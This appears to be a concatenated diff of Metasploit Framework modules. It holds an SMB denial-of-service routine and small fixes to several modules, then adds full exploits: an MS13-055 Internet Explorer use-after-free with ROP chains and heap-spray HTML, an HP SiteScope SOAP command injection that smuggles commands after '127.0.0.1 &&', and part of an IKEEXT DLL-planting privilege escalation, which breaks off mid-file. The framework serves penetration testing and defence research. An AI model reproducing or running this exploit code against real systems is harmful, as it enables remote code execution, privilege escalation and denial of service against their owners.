item3.v['Value'] = "\x00\x00\x00\x00"
|
||||
item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item3.v['NameLen'] = item1.v['Name'].length
|
||||
|
||||
ilen = item1.to_s.length
|
||||
item1.v['NextOffset'] = ilen
|
||||
# Wrap offset to 0x00
|
||||
item2.v['NextOffset'] = 0xffffffff - ilen + 1
|
||||
return item1.to_s + item2.to_s + item3.to_s
|
||||
end
|
||||
|
||||
def send_pkt
|
||||
fid = get_fid
|
||||
|
||||
trans = TRANS2_PARAM.make_struct
|
||||
trans.v['FID'] = fid
|
||||
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
|
||||
data = mk_items_payload
|
||||
subcmd = 0x08
|
||||
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Trying a max of #{datastore['Tries']} times...")
|
||||
datastore['Tries'].times do
|
||||
connect()
|
||||
smb_login()
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
print_status('Sending malicious package...')
|
||||
send_pkt
|
||||
|
||||
begin
|
||||
self.simple.client.create("")
|
||||
print_status('Server Answered, DoS unsuccessful')
|
||||
rescue Timeout::Error
|
||||
print_good('Server timed out, this is expected')
|
||||
return
|
||||
rescue Rex::Proto::SMB::Exceptions::InvalidType
|
||||
print_status('Server Answered, DoS unsuccessful')
|
||||
end
|
||||
disconnect()
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
# Not successful yet, maybe we got a password prompt.
|
||||
if password_prompt?
|
||||
if password_prompt?(user)
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
|
|
|
@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'smb.shares',
|
||||
:data => { :shares => shares.inspect },
|
||||
:data => { :shares => shares },
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
|
|
|
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if password_prompt?
|
||||
if password_prompt?(user)
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
|
|
|
@ -43,6 +43,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
'DefaultOptions' => {
|
||||
"PrependSetresuid" => true,
|
||||
"PrependSetresgid" => true,
|
||||
"PrependFork" => true,
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -56,8 +57,6 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
'DisclosureDate' => "Aug 22 2013"
|
||||
}
|
||||
))
|
||||
# Handled by ghetto hardcoding below.
|
||||
deregister_options("PrependFork")
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -73,22 +72,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||
end
|
||||
|
||||
# Ghetto PrependFork action which is apparently only implemented for
|
||||
# Meterpreter.
|
||||
# XXX Put this in a mixin somewhere
|
||||
# if(fork()) exit(0);
|
||||
# 6A02 push byte +0x2
|
||||
# 58 pop eax
|
||||
# CD80 int 0x80 ; fork
|
||||
# 85C0 test eax,eax
|
||||
# 7406 jz 0xf
|
||||
# 31C0 xor eax,eax
|
||||
# B001 mov al,0x1
|
||||
# CD80 int 0x80 ; exit
|
||||
exe = generate_payload_exe(
|
||||
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
|
||||
)
|
||||
write_file("lsb_release", exe)
|
||||
write_file("lsb_release", generate_payload_exe)
|
||||
|
||||
cmd_exec("chmod +x lsb_release")
|
||||
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
|
||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Joomla 2.5.x <=2.5.13', {} ]
|
||||
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 01 2013",
|
||||
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200
|
||||
if res and (res.code == 200 or res.code == 302)
|
||||
if res.body =~ /You are not authorised to view this resource/
|
||||
print_status("#{peer} - Joomla Media Manager Found but authentication required")
|
||||
return Exploit::CheckCode::Detected
|
||||
|
@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'vars_get' => {
|
||||
'option' => 'com_media',
|
||||
'view' => 'images',
|
||||
'tmpl' => 'component',
|
||||
'e_name' => 'jform_articletext',
|
||||
'asset' => 'com_content',
|
||||
'author' => ''
|
||||
|
@ -182,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Checking Access to Media Component...")
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
||||
if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
||||
print_status("#{peer} - Authentication required... Proceeding...")
|
||||
|
||||
if @username.empty? or @password.empty?
|
||||
|
@ -192,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{peer} - Accessing the Login Form...")
|
||||
res = get_login_form
|
||||
if res.nil? or res.code != 200 or res.body !~ /login/
|
||||
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
||||
end
|
||||
parse_login_options(res.body)
|
||||
|
@ -201,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if not res or res.code != 303
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||
end
|
||||
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
else
|
||||
|
@ -211,7 +210,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Accessing the Upload Form...")
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
upload_uri = Rex::Text.html_decode($1)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
||||
|
|
|
@ -0,0 +1,259 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
||||
'Description' => %q{
|
||||
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
||||
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
||||
with the final node being a sub table element. When the CPhraseElement's outer
|
||||
content is reset by using either outerText or outerHTML through an event handler,
|
||||
this triggers a free of its child element (in this case, a CAnchorElement, but
|
||||
some other objects apply too), but a reference is still kept in function
|
||||
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
||||
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
||||
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
||||
results a crash. An attacker can take advantage of this by first creating an
|
||||
CAnchorElement object, let it free, and then replace the freed memory with another
|
||||
fake object. Successfully doing so may allow arbitrary code execution under the
|
||||
context of the user.
|
||||
|
||||
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
||||
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Orange Tsai', # Original discovery, PoC
|
||||
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
||||
'sinn3r' # Joins the party
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS13-055' ],
|
||||
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => :msvcrt,
|
||||
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
||||
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows 7',
|
||||
{
|
||||
'Rop' => :jre,
|
||||
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
||||
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 09 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
rop = ''
|
||||
code = payload.encoded
|
||||
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
# Stack adjustment # add esp, -3500
|
||||
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
||||
|
||||
print_status("Using msvcrt ROP")
|
||||
rop =
|
||||
[
|
||||
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
||||
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
||||
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
||||
0xffffffff,
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
||||
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
||||
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
||||
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
||||
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
||||
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
||||
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
||||
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
||||
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
||||
].pack("V*")
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop =
|
||||
[
|
||||
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
||||
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||
0xffffffff,
|
||||
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||
# rop chain generated with mona.py
|
||||
].pack("V*")
|
||||
end
|
||||
|
||||
rop_payload = rop
|
||||
rop_payload << esp_align
|
||||
rop_payload << code
|
||||
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
def junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def nop
|
||||
make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def get_html(t, p)
|
||||
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
||||
js_payload = Rex::Text.to_unescape(p)
|
||||
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
||||
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
||||
|
||||
q_id = Rex::Text.rand_text_alpha(1)
|
||||
|
||||
html = %Q|
|
||||
<!DOCTYPE html>
|
||||
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||||
<head>
|
||||
<meta>
|
||||
<?IMPORT namespace="t" implementation="#default#time2">
|
||||
</meta>
|
||||
</head>
|
||||
<script>
|
||||
#{js_mstime_malloc}
|
||||
|
||||
window.onload = function() {
|
||||
var x = document.getElementById("#{q_id}");
|
||||
x.outerText = "";
|
||||
a = document.getElementById('myanim');
|
||||
|
||||
p = '';
|
||||
for (i=0; i < 7; i++) {
|
||||
p += unescape("#{js_junk}");
|
||||
}
|
||||
p += unescape("#{js_payload}");
|
||||
|
||||
fo = unescape("#{js_align}");
|
||||
for (i=0; i < 28; i++) {
|
||||
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
||||
else { fo += unescape("#{js_align}"); }
|
||||
}
|
||||
|
||||
fo += p;
|
||||
|
||||
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||
}
|
||||
</script>
|
||||
<table>
|
||||
<tr>
|
||||
<div>
|
||||
<span>
|
||||
<q id='#{q_id}'>
|
||||
<a>
|
||||
<td></td>
|
||||
</a>
|
||||
</q>
|
||||
</span>
|
||||
</div>
|
||||
</tr>
|
||||
</table>
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
</html>
|
||||
|
|
||||
|
||||
html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
t = get_target(agent)
|
||||
|
||||
if t
|
||||
p = get_payload(t, cli)
|
||||
html = get_html(t, p)
|
||||
print_status("Sending exploit...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
else
|
||||
print_error("Not a suitable target: #{agent}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP SiteScope Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution flaw in HP SiteScope.
|
||||
The vulnerability exists on the opcactivate.vbs script, which
|
||||
is reachable from the APIBSMIntegrationImpl AXIS service, and
|
||||
uses WScript.Shell.run() to execute cmd.exe with user provided
|
||||
data. Note that the opcactivate.vbs component is installed
|
||||
with the (optional) HP Operations Agent component. The module
|
||||
has been tested successfully on HP SiteScope 11.20 (with HP
|
||||
Operations Agent) over Windows 2003 SP2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2367'],
|
||||
[ 'OSVDB', '95824' ],
|
||||
[ 'BID', '61506' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||
},
|
||||
'DisclosureDate' => 'Jul 29 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def uri
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
return uri
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
op = rand_text_alpha(8 + rand(10))
|
||||
key = rand_text_alpha(8 + rand(10))
|
||||
value = rand_text_alpha(8 + rand(10))
|
||||
|
||||
res = send_soap_request(op, key, value)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Delivering payload...")
|
||||
|
||||
# The path to the injection is something like:
|
||||
# * Java exec => cscript => WScript.Shell => cmd.exe (injection happens)
|
||||
# Empirically has been tested a 1500 value for :linemax makes it work
|
||||
# reliable
|
||||
execute_cmdstager({:linemax => 1500})
|
||||
end
|
||||
|
||||
def get_vbs_string(str)
|
||||
vbs_str = ""
|
||||
str.each_byte { |b|
|
||||
vbs_str << "Chr(#{b})+"
|
||||
}
|
||||
|
||||
return vbs_str.chomp("+")
|
||||
end
|
||||
|
||||
# Make the modifications required to the specific encoder
|
||||
# This exploit uses an specific encoder because quotes (")
|
||||
# aren't allowed when injecting commands
|
||||
def execute_cmdstager_begin(opts)
|
||||
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
|
||||
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
|
||||
decoded_file = "#{var_decoded}.exe"
|
||||
encoded_file = "#{var_encoded}.b64"
|
||||
@cmd_list.each { |command|
|
||||
# Because the exploit kills cscript processes to speed up and reliability
|
||||
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
|
||||
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
|
||||
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
|
||||
}
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts={})
|
||||
# HTML Encode '&' character
|
||||
# taskkill allows to kill the cscript process which is triggering the
|
||||
# different operations performed by the OPACTIVATE command. It speeds
|
||||
# up exploitation and improves reliability (some processes launched can die
|
||||
# due to the fake activation). But this line also will kill other cscript
|
||||
# legit processes which could be running on the target host. Because of it
|
||||
# the exploit has a Manual ranking
|
||||
command = ""127.0.0.1 && "
|
||||
command << cmd.gsub(/&/, "&")
|
||||
command << " && taskkill /F /IM cscript.exe ""
|
||||
|
||||
res = send_soap_request("OPCACTIVATE", "omHost", command)
|
||||
|
||||
if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/
|
||||
fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def send_soap_request(op, key, value)
|
||||
data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
|
||||
data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">"
|
||||
data << "<soapenv:Header/>"
|
||||
data << "<soapenv:Body>"
|
||||
data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
||||
data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">"
|
||||
data << "<item xsi:type=\"x-:mapItem\">"
|
||||
data << "<key xsi:type=\"xsd:string\">#{key}</key>"
|
||||
data << "<value xsi:type=\"xsd:string\">#{value}</value>"
|
||||
data << "</item>"
|
||||
data << "</in0>"
|
||||
data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>"
|
||||
data << "</api:runOMAgentCommand>"
|
||||
data << "</soapenv:Body>"
|
||||
data << "</soapenv:Envelope>"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'SOAPAction' => '""'
|
||||
}
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,313 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/accounts'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
|
||||
'Description' => %q{
|
||||
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
|
||||
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
|
||||
installations of Vista-Win8.
|
||||
It requires an insecure bin path to plant the DLL payload.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
|
||||
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
|
||||
],
|
||||
'DisclosureDate' => "Oct 09 2012",
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
|
||||
],
|
||||
'Platform' => [ 'win'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'SessionTypes' => [ "meterpreter" ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 5,
|
||||
'ReverseConnectRetries' => 255
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
|
||||
])
|
||||
@service_name = 'IKEEXT'
|
||||
@load_lib_search_path = [ '%SystemRoot%\\System32',
|
||||
'%SystemRoot%\\System',
|
||||
'%SystemRoot%'
|
||||
]
|
||||
@non_existant_dirs = []
|
||||
end
|
||||
|
||||
def check_service_exists?(service)
|
||||
srv_info = service_info(service)
|
||||
|
||||
if srv_info.nil?
|
||||
print_warning("Unable to enumerate services.")
|
||||
return false
|
||||
end
|
||||
|
||||
if srv_info && srv_info['Name'].empty?
|
||||
print_warning("Service #{service} does not exist.")
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
srv_info = service_info(@service_name)
|
||||
|
||||
if !check_service_exists?(@service_name)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_status(srv_info.to_s)
|
||||
|
||||
case srv_info['Startup']
|
||||
when 'Disabled'
|
||||
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Manual'
|
||||
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Auto'
|
||||
print_good("Service is set to Automatically start...")
|
||||
end
|
||||
|
||||
if check_search_path
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def check_search_path
|
||||
dll = 'wlbsctrl.dll'
|
||||
|
||||
@load_lib_search_path.each do |path|
|
||||
dll_path = "#{expand_path(path)}\\#{dll}"
|
||||
|
||||
if file_exist?(dll_path)
|
||||
print_warning("DLL already exists at #{dll_path}...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def check_system_path
|
||||
print_status("Checking %PATH% folders for write access...")
|
||||
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
|
||||
|
||||
if result.nil?
|
||||
print_error("Unable to retrieve %PATH% from registry.")
|
||||
return
|
||||
end
|
||||
|
||||
paths = result.split(';')
|
||||
paths.append(@load_lib_search_path).flatten!.uniq!
|
||||
|
||||
paths.each do |p|
|
||||
path = expand_path(p)
|
||||
if exist?(path)
|
||||
if check_write_access(path)
|
||||
return path
|
||||
end
|
||||
else
|
||||
# User may be able to create the path...
|
||||
print_status("Path #{path} does not exist...")
|
||||
@non_existant_dirs << path
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def check_write_access(path)
|
||||
perm = check_dir_perms(path, @token)
|
||||
if perm and perm.include?('W')
|
||||
print_good ("Write permissions in #{path} - #{perm}")
|
||||
return true
|
||||
elsif perm
|
||||
vprint_status ("Permissions for #{path} - #{perm}")
|
||||
else
|
||||
vprint_status ("No permissions for #{path}")
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def check_dirs
|
||||
print_status("Attempting to create a non-existant PATH dir to use.")
|
||||
@non_existant_dirs.each do |dir|
|
||||
begin
|
||||
client.fs.dir.mkdir(dir)
|
||||
if exist?(dir)
|
||||
register_file_for_cleanup(dir)
|
||||
return dir
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_status("Unable to create dir: #{dir} - #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def check_session_arch
|
||||
